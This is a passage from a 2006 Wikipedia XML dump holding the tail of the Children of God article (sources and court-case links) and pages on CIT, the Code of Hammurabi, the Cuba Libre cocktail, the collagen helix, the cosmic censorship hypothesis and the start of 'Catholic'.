: - Aliases: Peter Amsterdam or King Peter

Under them, management is divided into ''World Services'', ''Creations'', and ''Family Care Foundation''. 
Each region is managed by a team of Continental Officers (COs), each team typically having five to seven members. The management structures beneath the CO team are more variable and their members are changed frequently.

==References==
&lt;references/&gt;

==Sources==
===Academic===
*Chancellor, James (2000). &quot;Life in The Family:  An Oral History of the Children of God&quot;. ''University of Syracuse Press'', Syracuse, NY.
* Bainbridge, William Sims (1996). &quot;The Sociology of Religious Movements&quot;. ''Routledge''. ISBN 0-4159-1202-4.
* Barker, Eileen. (1989). &quot;New Religious Movements, A Practical Introduction&quot;. ''Her Majesty's Stationery Office''. ISBN 0-1134-0927-3.   
* Barrett, DV (1996). &quot;Sects, Cults and Alternative Religions&quot;. ''Blandford A. Cassell''. ISBN 0-7137-2567-2. 
* Boeri, Miriam Williams (2002). &quot;Women After the Utopia: The Gendered Lives of Former Cult Members&quot;. Journal of Contemporary Ethnography 31(3), 323-360.
* Kent, Stephen A. (1994). [http://www.arts.ualberta.ca/~skent/Linkedfiles/lustfulprophet.htm &quot;Lustful prophet: A psychosexual historical study of the children of god's leader, David Berg.&quot;] ''Cultic Studies Journal'' '''11''' (2), 135-188.
* Kent, Stephen A. (1994). [http://www.xfamily.org/index.php/Misattribution_and_Social_Control_in_the_Children_of_God &quot;Misattribution and social control in the Children of God.&quot;] ''Journal of Religion and Health'' '''33''' (1), 29&amp;ndash;43.
* Kent, Stephen A. (2000). [http://www.arts.ualberta.ca/~skent/Linkedfiles/cog_brainwashing.htm &quot;Brainwashing and re-indoctrination programs in the Children of God/The Family.&quot;] ''Cultic Studies Journal'' '''17''', 56&amp;ndash;78.  
* Lewis, James R, and Melton, J. Gordon (eds). (1994). [http://www.thefamily.org/dossier/books/book1/toc.htm ''Sex, Slander, and Salvation: Investigating The Family/Children of God'']. ''Center for Academic Press'', Stanford, CA.
* Lynch, Dalva, and Paul Carden (1990). [http://www.iclnet.org/pub/resources/text/cri/cri-jrnl/web/crj0075a.html &quot;Inside the 'Heavenly Elite': The Children of God Today.&quot;]. ''Christian Research Journal'', pp 16.
* McFarland, Robert (1994). [http://www.vote.org/ramsey/cults.htm &quot;The Children of God.&quot;] ''The Journal of Psychohistory'' '''4'''(21).
* Melton, J. Gordon (2004). ''[http://www.signaturebooks.com/children.htm The Children of God, &quot;The Family&quot; (Studies in Contemporary Religion vol. 7)]''. Signature Books. ISBN 1-5608-5180-5.
* Melton, J. Gordon and Robert L. Moore (1982). &quot;The Cult Experience: Responding to the New Religious Pluralism&quot;. ''The Pilgrim Press'', New York, USA.
* Palmer, Susan J. (1994). [http://www.thefamily.org/dossier/books/book1/chapter1.htm &quot;Heaven's Children: The Children of God's Second Generation&quot;] in ''Sex, Slander, and Salvation'', ''op. cit.''
* Palmer, Susan J., and Charlotte Hardman eds. (1999). ''Children in New Religions'' (3rd ed.). Rutgers University Press. ISBN 0-8135-2620-5.
* Shepherd, Gary, and Lawrence Lilliston (1994). [http://www.thefamily.org/dossier/books/book1/chapter5.htm &quot;Field Observations of Young People's Experience and Role in The Family&quot;] in ''Sex, Slander, and Salvation'', ''op. cit.''
* Shepherd, Gary, and Shepherd, Gordon (August 2005). [http://caliber.ucpress.net/doi/abs/10.1525/nr.2005.9.1.067 &quot;Accommodation and Reformation in The Family/Children of God&quot;], Nova Religio (Journal of the University of California) 
* Shepherd, Gary and Shepherd, Gordon (Spring 2000).[http://www2.oakland.edu/oujournal/files/Shepherd.pdf &quot;The Moral Career of a New Religious Movement&quot;] The Oakland Journal. 
* Wilson, Bryan and Jamie Cresswell, eds. (1999). &quot;New Religious Movements: Challenge and Response&quot;. ''Routledge'', London, UK.
* Wright, Stuart (1987). &quot;Leaving Cults: The Dynamics of Defection&quot;. ''Society for the Scientific Study of Religion''. Washington, D.C., USA.
* Van Zandt, David (1991). &quot;Living in the Children of God&quot;. ''Princeton University Press'', Princeton, New Jersy.

===Journalistic and popular===
* [http://www.xfamily.org/index.php/Category:Press Category:Press] - An archive of press coverage (hosted by [http://www.xfamily.org xfamily.org])
* [http://www.xfamily.org/index.php/Category:Video_Archives Television Coverage] - An archive of television coverage (hosted by [http://www.xfamily.org xfamily.org])

* Davis, Deborah (1984). [http://www.exfamily.org/art/exmem/debdavis/the_cog.html &quot;The Children of God: The Inside Story&quot;.] ''Zondervan''. ISBN 0-3102-7840-6. (Davis is one of David Berg's daughters)
* McManus, Una (1980). &quot;Not for a Million Dollars&quot;. Impact Books. ISBN 0-9148-5054-7.
* Williams, Miriam  (1999). &quot;Heaven's Harlots: My Fifteen Years As a Sacred Prostitute in the Children of God Cult&quot;. ''Quill''. ISBN 0-6881-7012-9.
* [http://www.washingtonpost.com/wp-srv/national/longterm/cult/children_of_god/main.htm &quot;30 Members of Children of God arrested&quot;] ([[September 2]], [[1993]]). ''Washington Post'', pp. A05
* [http://www.washingtonpost.com/wp-srv/national/longterm/cult/children_of_god/child1.htm &quot;The Family&quot; and Final Harvest&quot;] ([[June 2]], [[1993]]). ''Washington Post'', pp. A01
* Goodstein, Laurie (2005), ''[http://www.nytimes.com/2005/01/15/national/15cult.html Murder and Suicide Reviving Claims of Child Abuse in Cult]'', [[New York Times]], [[January 15]] 2005, pg. A-1

==External links==
===Primary sources===
* Official Family Web sites: [http://www.thefamily.org English], [http://www.lafamilia.org/ Spanish], [http://www.thefamily.dp.ua/ Russian], [http://www.afamilia.org/ Portuguese], [http://www.greekfamily.org/ Greek], [http://www.family.gr.jp/ Japanese], [http://www.thefamily-chinese.org/ Chinese], [http://www.thaifamily.org/ Thai], [http://www.thefamilyeurope.org Europe] (in English, Czech, French, Croatian, Italian, Dutch, Polish, and Portuguese), [http://www.familyafrica.com South Africa] (English)

See also: [[Programs, projects, and productions of the Children of God]]

===Members' sites===
* [http://www.deeptruths.com/ Deep Truths] Basic writings of David Brandt Berg.
* [http://www.kt70.com/~jamesjpn/ James Japan] (Also the webmaster of Deep Truths.)
* [http://www.myconclusion.com/ My Conclusion]&lt;ref name=MyConclusion/&gt; Opinions and responses by current second-generation members with positive viewpoints about The Family.
* [http://www.theendtime.com/ The Endtime] Offers Family-produced Endtime videos.
* [http://www.anzwers.org/free/beyondstars/index.html The Endtime News] Focus on the Endtime.

===Former-member websites===
* [http://www.exfamily.org ExFamily.org] - Community site for former ''first'' generation members of the Children of God/The Family. Includes archive of over 4000 COG/Family publications, documentation, and message boards.
* [http://www.geocities.com/familyartcorner/ Family Art] - Flash presentation addressing plagiarism of art used in internal publications of the Children of God/The Family.
* [http://www.lamatteryresource.org LaMattery Resource]- A LaMattery family site about The Family.
* [http://makestraightpaths.com Make Straight Paths] - Site for former and current members comparing Family doctrine with the Bible.
* [http://www.movingon.org MovingOn]&lt;ref name=MovingOn/&gt; - Community site for former ''second'' generation members of The Family.
* [http://www.newdaynews.com/ New Day News] - Site for former members of the Children of God/The Family. Includes message boards and collection of photos.
* [http://www.excult.org/ Sword of the Lord Ministries] Ex-member site includes some video interviews.
* [http://www.xfamily.org xFamily] - A wiki site about The Family, including archive of selected COG/Family publications, and featuring the Ricky Rodriguez pre-murder-suicide video.
* [http://xchildrenofgod.xfamily.org/ xFamily Forum] - A message board about The Family.

===Opposing Viewpoints===
* [http://www.apologeticsindex.org/f/f38.html Family of Love] Apologetics Index

===Court cases===
* [http://www.xfamily.org/index.php/Final_Report_on_the_Activities_of_the_Children_of_God Final Report on the Activities of the Children of God to Hon. Louis J. Lefkowitz, Attorney General of the State of New York] &amp;mdash; 1974-09-30 
* [http://www.thefamily.org/dossier/statements/vindicated_stm.2004.pdf A review of judicial findings on the Family International by the Family International.] 
* [http://www.xfamily.org/index.php/Krounapple_v._Children_of_God%2C_David_Brandt_Berg%2C_et._al._77CV-11-4706 Krounapple v. Children of God, David Brandt Berg, et. al. 77CV-11-4706. Court of Common Pleas, Franklin County, Ohio, USA. 21 June, 1979] 
* [http://www.xfamily.org/index.php/Judgment_of_Lord_Justice_Ward Judgment of the Rt. Hon. Lord Justice Ward] - 1995 judgment resulting from major custody case in the UK involving The Family.
* [http://www.exfamily.org/art/misc/cult_justice.shtml Cult Justice - France]
* [http://www.xfamily.org/index.php/Brian_Edward_Pickus_-_Argentina_Extradition_Case Brian Edward Pickus - Argentina Extradition Case] &amp;mdash; Court records and other information about the legal proceedings for the extadition of Family member Brian Pickus from Argentina to the United States for the crimes of kidapping, burglary and unlawful flight to avoid prosecution.
* [http://www.xfamily.org/index.php/Case_81/89_Cavazza%2C_Juan_C._and_others Case 81/89 Cavazza, Juan C. and others, on Inf. Art.125, 139, 140, 142, Par.l, 142 bis, 210, 293 of the Code of Proceedings and art.3 of Law 23,592. Federal Court of San Isidro, 1 Sec.2 Office II, Reg. 443. Buenos Aires, Argentina] &amp;mdash; Court documents and other information related to legal proceedings in Argentina against 21 Family members.
*[http://www.xfamily.org/index.php/Tribunal_de_Menores_de_Mercedes_-_Case_number_32.202 Tribunal de Menores de Merecdes - Causa 32.202] - Court documents and other information relating to a complaint filed in Argentina on behalf of two U.S. citizens seeking the return of their four abducted children.   
* [http://sapas.tripod.com.ar/testimoniocausandd.htm Antecedentes de la Causa NDD en Argentina- Causa 32.202- menores Frouman E. y otros s/ Inf. Art. 10- Ley 10.067 by Hugo Gabutti.] &amp;mdash; review of the Frouman case and related legal action against the Children of God in Argentina by a former police detective assigned to investigate the organization and find abducted children. In Spanish. 
*[http://www.xfamily.org/index.php/Richard_Peyer_vs_Family_of_Love_et._al._1CC00-0-063603 Richard Peyer vs Family of Love et. al. 1CC00-0-063603] &amp;mdash; Records of a civil suit against the Family of Love and other parties by a mother whose children were abducted in September 1980 and a man who was assaulted during the abduction. &amp;ndash; Circuit Court (O`AHU - First Judicial Circuit), Honolulu, Hawaii. — 1980-11-26
*[http://www.xfamily.org/index.php/Candy_Ann_Pickus%2C_et._al._v._Phyllis_Gotwalt_et._al._1CC00-0-072110 Candy Ann Pickus et. al. vs Phyllis Gotwalt et. al. - 1CC00-0-072110] &amp;mdash; Records of a civil suit against Phyllis Gotwalt, Brian Pickus and others allegedly responsible for the abduction of the Pickus children. &amp;ndash; Circuit Court (O`AHU - First Judicial Circuit), Honolulu, Hawaii. — 1980-11-26
* [http://www.cesnur.org/testi/TheFamily/argentina.htm The Children of God/The Family Court Cases in Argentina, 1987-1995: A Documentary History]
* [http://www.cesnur.org/testi/TheFamily/france.htm The Children of God/The Family Court Cases in France, 1991-2000]

===Other===
* BBC Radio 4, [http://www.bbc.co.uk/religion/programmes/beyond_belief/index.shtml ''Beyond Belief''], [[August 9]], [[2004]]: [http://www.bbc.co.uk/religion/realmedia/beyond_belief/beyond_20040809.ram &quot;Cults&quot;] - One of the participants is a member of The Family.
* BBC Radio 4, [http://www.bbc.co.uk/radio4/religion/bigots.shtml ''Bigots or Believers'']
* Jones, Paul [http://religiousmovements.lib.virginia.edu/nrms/Family.html The Family (The Children of God)] article on the website of the [[University of Virginia]] written by a student of the late Jeffrey Hadden
 

[[Category:Children of God|*]]
[[Category:New religious movements]]
[[Category:Intentional communities]]

[[de:Kinder Gottes]]
[[id:Children of God]]
[[ja:ファミリー (新宗教)]]
[[nl:Children of God]]
[[pl:Rodzina (religia)]]
[[sv:Familjen]]
[[zh:上帝之子]]</text>
    </revision>
  </page>
  <page>
    <title>CIT</title>
    <id>7603</id>
    <revision>
      <id>41915199</id>
      <timestamp>2006-03-02T16:16:49Z</timestamp>
      <contributor>
        <username>Dither</username>
        <id>525125</id>
      </contributor>
      <minor />
      <comment>Added Center for Information Technology</comment>
      <text xml:space="preserve">*[[Coimbatore Institute of Technology]]
*[[CIT Group Incorporated]] - a commercial and consumer finance company
*[[California Institute of Technology]]
*[[Canberra Institute of Technology]]
*[[Carnegie Institute of Technology]]
*[[Center for Information Technology]] - an agency of the [[Federal government of the United States|United States Federal Government]]
*[[Cork Institute of Technology]]
*[[Chartered Institute of Transport]] (now part of the [[Chartered Institute of Logistics and Transport]])
*[[Counselor-In-Training]]
*[[Computer and Information Technology]]
*[[Cash-In-Transit]]
*[[Critical Incident Technique]]
{{TLAdisambig}}</text>
    </revision>
  </page>
  <page>
    <title>Code of Hammurabi</title>
    <id>7604</id>
    <revision>
      <id>42128587</id>
      <timestamp>2006-03-04T00:30:09Z</timestamp>
      <contributor>
        <username>Codex Sinaiticus</username>
        <id>247981</id>
      </contributor>
      <comment>Revert to revision 41977957 using [[:en:Wikipedia:Tools/Navigation_popups|popups]]</comment>
      <text xml:space="preserve">[[Image:CodexOfHammurabi.jpg|thumb|An inscription of the Code of Hammurabi]]
[[Image:Code-de-Hammurabi-2.jpg|thumb|]]
[[Image:Code-de-Hammurabi-1.jpg|thumb|]]
The '''Code of Hammurabi''' (also known as the '''Codex Hammurabi''' and '''Hammurabi's Code'''), created ca. [[1780 BC]] ([[short chronology]]), is one of the earliest sets of laws found and one of the best preserved examples of this type of document from ancient [[Mesopotamia]]. Other collections of laws include the codex of  [[Ur-Nammu]], king of [[Ur]] (ca. [[2050 BC]]), the Codex of [[Eshnunna]] (ca. [[1930 BC]]) and the codex of [[Lipit-Ishtar]] of [[Isin]] (ca. [[1870 BC]]).

It shows rules and punishments if those rules are broken. It focuses on [[theft]], [[agriculture]] (or shepherding), [[property damage]], [[Legal rights of women in history|women's rights]], [[marriage]]  rights, [[children's rights]], [[slavery|slave rights]], [[murder]], [[death]], and [[injury]]. The punishment varies depending on the  class of offenders and victims. For a comprehensive summary, see [[Babylonian law]].

The laws do not accept excuses or explanations for mistakes or fault: the Code was openly displayed for all to see, so no man could plead ignorance of the law as an excuse. Few people, however, could read in that era (literacy mainly being the domain of scribes).  

[[Hammurabi]] ([[1728 BC]]-[[1686 BC]]) felt he had to write the code to please his [[God|gods]]. Unlike many earlier and contemporary kings, he did not consider himself related to any god, although he did call himself &quot;the favorite of the gods.&quot; In the upper part of the [[stela]], Hammurabi is shown in front of the throne of the sun god [[Shamash]].

The laws (numbered from 1 to 282, but numbers 13, and 66-99 are missing) are inscribed in [[Akkadian language|Old Babylonian]] on an eight foot tall stela of black [[diorite]]. It was discovered in [[December]] [[1901]] in [[Susa]], [[Elam]], which is now [[Khuzestan]], [[Iran]], where it had been taken as plunder by the Elamites in the [[12th century BC]]. It is currently on display at the [[Louvre]] Museum in [[Paris]], [[France]].

The code is often pointed to as the first example of the legal concept that some [[law]]s are so basic as to be beyond the ability of even a [[monarch|king]] to change. By writing the laws on stone they were immutable. This concept lives on in most modern legal systems and has given rise to the term ''written in stone''.

The Code of Hammurabi was one of many sets of laws in the [[Ancient Near East]]. Most of these law codes, coming from similar cultures and racial groups in a relatively small geographical area, necessarily have passages that resemble each other. For example, the laws found in the later [[Hittite]] code of laws (ca. [[1300 BC]]) have some individual laws that bear a passing resemblance to those in the Code of Hammurabi, as well as other codices from the same geographic area. The earlier Ur-Nammu, of the written literature prolific [[Ur-III]] dynasty ([[21st century BC]]), also produced a code of laws, some of which bear resemblance to certain specific laws in the Code of Hammurabi. The later [[Mosaic Law]] (according to the modern [[documentary hypothesis]] ca. [[700 BC|700]-[[500 BC]] - under [[Hezekiah]]/[[Josiah]]; traditionally ca. [[1200 BC]] - under [[Moses]]) also has some laws that resemble the Code of Hammurabi, as well as other law codes of the region.

== References ==
* Falkenstein, A. (1956&amp;ndash;57). ''Die neusumerischen Gerichtsurkunden I&amp;ndash;III''. München.
* Kohler, J. &amp;amp; Peiser, F.E. (1890). ''Aus dem Babylonischen Rechtsleben''. Leipzig.
* [[Julius Oppert]] and [[Joachim Menant]] (1877). ''Documents juridiques de l'Assyrie et de la Chaldee''. París.
* Thomas, D. Winton, ed. (1958). ''Documents from Old Testament Times''. London y New York.

== See also ==
* [[Babylonian law]]
* [[Cuneiform Law]]
* [[Quid pro quo]]
* [[Manu Smriti]]
* [[Retributive justice]]
* [[An eye for an eye]]
* [[Lex talionis]]
* [[Mesopotamian Marriage Law]]

==External links==
* [http://eawc.evansville.edu/anthology/hammurabi.htm English translation of the code]
* Hi-res images and French description from [http://www.louvre.fr/llv/oeuvres/detail_notice.jsp;jsessionid=D6hNGppDhQ6pznkBwwt5t2PFJHq8pmyWcbk9nXCCFpf27hcTCbCt!-1763290328?CONTENT%3C%3Ecnt_id=10134198673226487&amp;CURRENT_LLV_NOTICE%3C%3Ecnt_id=10134198673226487&amp;FOLDER%3C%3Efolder_id=9852723696500800&amp;baseIndex=0&amp;bmUID=1127899469406 the Louvre]

[[Category:Legal codes]]
[[Category:Legal history]]
[[Category:Babylonia]]
[[Category:Manuscripts]]
[[Category:1680s BC]]

[[ar:شريعة حمورابي]]
[[cs:Chammurapiho zákoník]]
[[de:Codex Hammurapi]]
[[es:Código de Hammurabi]]
[[eo:Kodekso de Hamurabi]]
[[fr:Code d'Hammurabi]]
[[gl:Código de Hamurabi]]
[[it:Codice di Hammurabi]]
[[he:חוקי חמורבי]]
[[la:Codex Hammurabi]]
[[hu:Hammurapi törvényoszlopa]]
[[nl:Codex Hammurabi]]
[[ja:ハンムラビ法典]]
[[pl:Kodeks Hammurabiego]]
[[pt:Código de Hamurabi]]
[[sl:Hamurabijev zakonik]]
[[sr:Хамурабијев законик]]
[[fi:Hammurabin laki]]
[[ru:Свод законов Хаммурапи]]
[[sv:Hammurabis lagar]]
[[tr:Hammurabi Kanunları]]
[[zh:汉谟拉比法典]]</text>
    </revision>
  </page>
  <page>
    <title>Cuba Libre</title>
    <id>7605</id>
    <revision>
      <id>38791591</id>
      <timestamp>2006-02-08T18:08:07Z</timestamp>
      <contributor>
        <username>Omhafeieio</username>
        <id>95728</id>
      </contributor>
      <minor />
      <text xml:space="preserve">:''For other meanings of 'Cuba Libre' see [[Cuba libre (disambiguation)]]''
The '''Cuba Libre''' (KOO-buh-LEE-breh) is a [[cocktail]] made of

* 3 [[ounce]]s [[Cola]]
* [[Lime (Citrus aurantifolia)|lime]] wedge
* 1 ounce [[rum]]

Rub the rim of a highball glass with the lime. Fill with ice. 
Add rum and fill with Cola. Drop in the lime squeeze. 

{{Wikibookspar|Bartending|Cuba Libre}}

The Cuba Libre ([[Spanish language|Spanish]] for ''Free [[Cuba]]'') was invented in [[Havana, Cuba]] around [[1900]]. 
Patriots aiding Cuba during the [[Spanish-American War]]&amp;mdash;and, later, expatriates avoiding [[Prohibition]]&amp;mdash;regularly mixed rum and Cola as a cocktail and a toast to this West Indies island.

According to [[Bacardi]]: 
:&quot;The world's most popular drink was born in a collision between the United States and [[Spain]]. It happened during the Spanish-American War at the turn of the century when [[Theodore Roosevelt|Teddy Roosevelt]], the [[Rough Riders]], and [[United States|Americans]] in large numbers arrived in Cuba. One afternoon, a group of off-duty soldiers from the U.S. Signal Corps were gathered in a bar in Old Havana. Fausto Rodriguez, a young messenger, later recalled that a captain came in and ordered Bacardi rum and Coca-Cola on ice with a wedge of lime. The captain drank the concoction with such pleasure that it sparked the interest of the soldiers around him. They had the bartender prepare a round of the captain's drink for them. The Bacardi rum and Coke was an instant hit. As it does to this day, the drink united the crowd in a spirit of fun and good fellowship. When they ordered another round, one soldier suggested that they toast ''¡Por Cuba Libre!'' in celebration of the newly freed Cuba. The captain raised his glass and sang out the battle cry that had inspired Cuba's victorious soldiers in the War of Independence.&quot; [http://www.bacardi.com] 

According to a [[1965]] deposition by [[Fausto Rodriguez]], the Cuba Libre was first mixed at a Cuban bar in August of [[1900]] by a member of the U.S. Signal Corps, referred to as &quot;[[John Doe]].&quot;

Soon enough, as Charles H. Baker points out in his ''Gentlemen's Companion'' of [[1934]], the Cuba Libre &quot;caught on everywhere throughout [[U.S. Southern States|the South]] [of the US, ed] ... filtered through the North and West,&quot; aided by the ample supply of its ingredients. In ''The American Language'', [[H.L. Mencken]] writes of an early variation of the drink: &quot;The troglodytes of western [[South Carolina]] coined 'jump stiddy' for a mixture of Coca-Cola and [[denatured alcohol]] (usually drawn from automobile radiators); connoisseurs reputedly preferred the taste of what had been aged in [[Model-T|Model-T Fords]].&quot;

The Cuba Libre gained further popularity in the U.S. after [[the Andrews Sisters]] recorded a song (in 1945) named after the drink's ingredients, &quot;[[Rum and Coca-Cola]].&quot; 
Cola and rum were both cheap at the time and this also contributed to the widespread popularity of the concoction.

This drink was once viewed as exotic, with its dark syrup made, at that time, from [[cola nuts]] and [[coca]].

== Variations ==
The &quot;Cuba Pintada&quot; (stained cuba), and &quot;Cuba Campechana&quot; are also popular, specially among young people. The first one is rum with club soda and just a little bit of cola product(just enough that it stains the glass), the Campechana contains half club soda and half coke.

== See also ==
* [[List of cocktails]]


[[Category:Cocktails with rum]]

[[cs:Cuba Libre]]
[[de:Cuba Libre]]
[[es:Cubalibre]]
[[fr:Cuba libre]]
[[nl:Baco (drank)]]
[[ja:キューバ・リバー]]
[[sl:Cuba Libre]]</text>
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  </page>
  <page>
    <title>Collagen helix</title>
    <id>7607</id>
    <revision>
      <id>35162287</id>
      <timestamp>2006-01-14T17:10:36Z</timestamp>
      <contributor>
        <username>KnightRider</username>
        <id>430793</id>
      </contributor>
      <minor />
      <comment>warnfile  Adding: es</comment>
      <text xml:space="preserve">In [[collagen]], the '''collagen helix''' is a major shape in [[quaternery structure]]. It consists of a triple [[helix]] made of the repetitious [[amino acid]] sequence [[glycine]] - [[proline]] - [[hydroxyproline]].
Each of the three chains is stabilized by the [[steric repulsion]] due to the [[pyrrolidone]] rings of [[proline]] and [[hydroxyproline]] [[residue]]s. The pyrrolidone rings keep out of each other’s way when the [[polypeptide]] chain assumes this extended [[helical]] form, which is much more open than the tightly coiled form of the [[alpha helix]].
The three chains are [[hydrogen bonded]] to each other. The [[hydrogen bond donors]] are the [[peptide]] NH groups of [[glycine]] residues. The [[hydrogen bond acceptors]] are the CO groups of residues on the other chains. The OH group of [[hydroxyproline]] also participates in hydrogen bonding. The rise of the collagen helix (superhelix) is 290 picometres (0.29 nm) per residue.

:''See also :'' [[tertiary structure]] -- [[alpha helix|&amp;alpha; helix]] -- [[beta sheet|&amp;beta; sheet]]

[[Category:Protein structural motifs]]

[[es:Hélice de colágeno]]</text>
    </revision>
  </page>
  <page>
    <title>Cosmic censorship hypothesis</title>
    <id>7609</id>
    <revision>
      <id>34781214</id>
      <timestamp>2006-01-11T18:16:55Z</timestamp>
      <contributor>
        <ip>129.63.141.202</ip>
      </contributor>
      <comment>/* External links */</comment>
      <text xml:space="preserve">{{expert|December 2005}}


In [[general relativity]], the '''cosmic censorship hypothesis (CCH)''' is a conjecture about the nature of [[gravitational singularity|singularities]] in [[spacetime]].

Singularities that arise in the solutions of [[Einstein's field equation|Einstein's equations]] are typically hidden within [[event horizon]]s, and therefore cannot be seen from the rest of spacetime. Singularities which are not so hidden are called ''[[naked singularity|naked]]''.   
The '''weak cosmic censorship hypothesis''' conjectures that no naked singularities other than the [[Big Bang]] singularity exist in the universe.

==Basics==
The fundamental concern is that since the physical behavior of singularities is unknown, if singularities can be seen from the rest of spacetime, [[causality]] may break down, and [[physics]] may lose its predictive power. The issue cannot be avoided, since according to the [[Penrose-Hawking singularity theorems]], singularities are inevitable in physically reasonable situations. Still, in the absence of naked singularities, the universe is deterministic &amp;mdash; it's possible to predict the entire evolution of the universe, knowing only its condition at a certain moment of time (more precisely, everywhere on a [[spacelike]] 3-dimensional hypersurface, called the [[Cauchy surface]]). Failure of the cosmic censorship hypothesis leads to the failure of determinism, because it is impossible to predict the behavior of space-time in the causal future of a naked singularity.

The hypothesis was first formulated by [[Roger Penrose]] in 1969, and it is not stated in a completely formal way. In a sense it is more of a research program proposal: part of the research is to find a proper formal statement that is physically reasonable and that can be proved to be true or false (and that is sufficiently general to be interesting).

==Problems with the concept==
There are a number of difficulties in formalizing the hypothesis:

* there are technical difficulties with properly formalizing the notion of a singularity.
* it is not difficult to construct spacetimes which have naked singularities, but which are not &quot;physically reasonable&quot;. A formal statement needs some set of hypotheses which exclude these situations.
* It could happen that an observer inside the event horizon could see the singularity. The version of the conjecture which excludes this case is the ''strong cosmic censorship hypothesis''.
* [[Caustic]]s may occur in simple models of gravitational collapse, and can appear to lead to singularities. These have more to do with the simplified models of bulk matter used, and in any case have nothing to do with general relativity, and need to be excluded.
* Computer models of gravitational collapse have shown that naked singularities can arise, but these models rely on very special circumstances (such as spherical symmetry). These special circumstances need to be excluded by some hypothesis.

In 1991, [[John Preskill]]  and [[Kip Thorne]] bet against [[Stephen Hawking]] that the hypothesis was false.  They won the bet (for a T-shirt to cover the winner's nakedness) due to the discovery of the special situations just mentioned.  Hawking later reformulated the bet to exclude those technicalities.  The revised bet is still open.

== The strong cosmic censorship hypothesis ==

While the weak cosmic censorship hypothesis asserts that any observer who has observed a singularity is destined to fall into it, it does not give a timeframe for this to happen. As such, for classical general relativity to be a complete theory, an observer of a naked singularity should still have a theory to explain what is observed; Penrose thus formulated a stronger version of the cosmic censorship hypothesis (known as the '''strong cosmic censorship hypothesis''') that asserts that no singularity is ever visible to any observer.

== References ==

* Earman, John: ''Bangs, Crunches, Whimpers, and Shrieks: Singularities and Acausalities in Relativistic Spacetimes'' (1995), see especially chapter 2 (ISBN 0-19-509591-X)
* Penrose, Roger: &quot;The Question of Cosmic Censorship&quot;, Chapter 5 in ''Black Holes and Relativistic Stars'', Robert Wald (editor), (1994) (ISBN 0-226-87034-0)
* Penrose, Roger: &quot;Singularities and time-asymmetry&quot;, Chapter 12 in ''General Relativity: An Einstein Centenary Survey'' (Hawking and Israel, editors), (1979), see especially section 12.3.2, pp. 617-629 (ISBN 0-521-22285-0)
* Shapiro, S. L., and Teukolsky, S. A.: &quot;Formation of Naked Singularities: The Violation of Cosmic Censorship&quot;, Physical Review Letters '''66''', 994-997 (1991)
* Wald, Robert, ''General Relativity'', 299-308 (1984) (ISBN 0-226-87033-2)

== See also ==
* [[Black hole information paradox]]
* [[Chronology protection conjecture]]

==External links==
*[http://www.theory.caltech.edu/people/preskill/old_naked_bet.html The old bet] (conceded in 1997)
*[http://www.theory.caltech.edu/people/preskill/new_naked_bet.html The new bet]

[[Category:Black holes]]
[[Category:General relativity]]</text>
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  <page>
    <title>Catholic</title>
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      <text xml:space="preserve">'''Catholic''' (from [[Greek language|Greek]]) {{Polytonic|καθολικός}}, universal, from {{Polytonic|καθόλου}}, in general: {{Polytonic|κατα-}}, according to + {{Polytonic|ὅλου}}, neuter genitive of {{Polytonic|ὅλος}}, whole) can be used as a specifically [[Christian]] religious term with a number of meanings: 

* In one widely used sense, it refers to the members, beliefs, and practices of the [[Roman Catholic Church]], particularly in countries and languages associated with the Protestant Reformation, where the attachment &quot;Roman&quot; was once used by early Protestants to disparage Catholic claims to be the sole historical Christian Church. Though many identify Roman Catholicism exclusively with the [[Latin Rite|Latin or Western]] Church, its variety is seen in the more than twenty other [[particular Church]]es, the &quot;[[Eastern Rite|Eastern Catholic Churches]]&quot;, all in full [[Communion (Christianity)|communion]] with the [[Pope]]. Major Eastern Catholic churches in communion with the Pope include the Ukrainian, Greek, Greek Melkite, Maronite, Ruthenian Byzantine, Coptic Catholic, Syro-Malabar, Syro-Malankara, Chaldean, and Ethiopian Catholic Churches.
* Some Protestant Christians use the term ''catholic'' (lower-case ''c'') to refer to the belief that all [[Christianity|Christians]] are part of one Church, regardless of denominational divisions. This &quot;universal&quot; interpretation is often used to understand the phrase &quot;[[One Holy Catholic and Apostolic Church|one holy catholic and apostolic Church]]&quot; in the [[Nicene Creed]], the phrase &quot;the catholic faith&quot; in the [[Athanasian Creed]], and the phrase &quot;holy catholic church&quot; in the [[Apostles' Creed]].
* It can be used to refer to those Christian Churches which maintain that their [[episcopal|Episcopate]] can be traced directly back to the [[Twelve Apostles|Apostle]]s, and that they are therefore part of a broad catholic (or universal) body of believers. Among those who regard themselves as ''Catholic'' but not ''Roman Catholic'' are members of the various [[Eastern Orthodox Church]]es (such as the [[Greek Orthodox]] and [[Russian Orthodox]]), the [[Oriental Orthodox]], the [[Assyrian Church of the East]], the [[Anglican]]s, and some very small groups such as the [[Old Catholic Church]], the [[Independent Catholic]], the [[Ancient Catholic|Ancient]] and [[Liberal Catholic Church]]es, as well as the [[Lutheranism|Lutherans]] (though the latter prefer the lower-case &quot;c,&quot; and, like Anglicans, stress that they are both Protestant ''and'' Catholic). These various churches that regard themselves as part of a broad Catholic Church are distinguished primarily by their use of the [[Nicene Creed]], in which believers acknowledge the &quot;[[One Holy Catholic and Apostolic Church|one holy catholic and apostolic Church]].&quot; The Nicene Creed is of course also used by the Roman Catholic Church.
* It can mean the one Church founded by Christ through [[Apostle Peter|Peter the Apostle]], according to Matthew 16:18-19: &quot;And I tell you, you are ''Cephas'' (which means rock), and on this rock I will build my Church, and the powers of death shall not prevail against it. I will give you the keys of the kingdom of heaven, and whatever you bind on earth shall be bound in heaven, and whatever you loose on earth shall be loosed in heaven.’&quot; In Roman Catholic theology, this is understood to mean specifically the Roman Catholic Church.
*Some use the term ''Catholic'' to distinguish their own position from a [[Calvinist]] or [[Puritan]] form of Reformed-[[Protestantism]]. These include [[High Church]] [[Anglican]]s, known also as &quot;[[Anglo-Catholicism|Anglo-Catholics]],&quot; High Church [[Lutheran]]s, known also as [[Neo-Lutheranism|Neo-Lutherans]], and others.

[[Methodist]]s  and [[Presbyterian]]s believe their denominations owe their origins to the Apostles and the early Church, but do not claim descent from ancient Church structures such as the episcopate. Neither of these Churches, however, denies that they are a part of the catholic (meaning universal) Church. 

== History of usage ==
Early [[Christianity|Christians]], such as Saint [[Ignatius of Antioch]] (who was martyred in about [[110]]), used the term to describe the whole [[Church]] - the word's literal meaning is ''universal'' or ''whole'' - as opposed to the local Church, and excluding  adherents of [[sects]] or [[heresy|heretical]] groups.

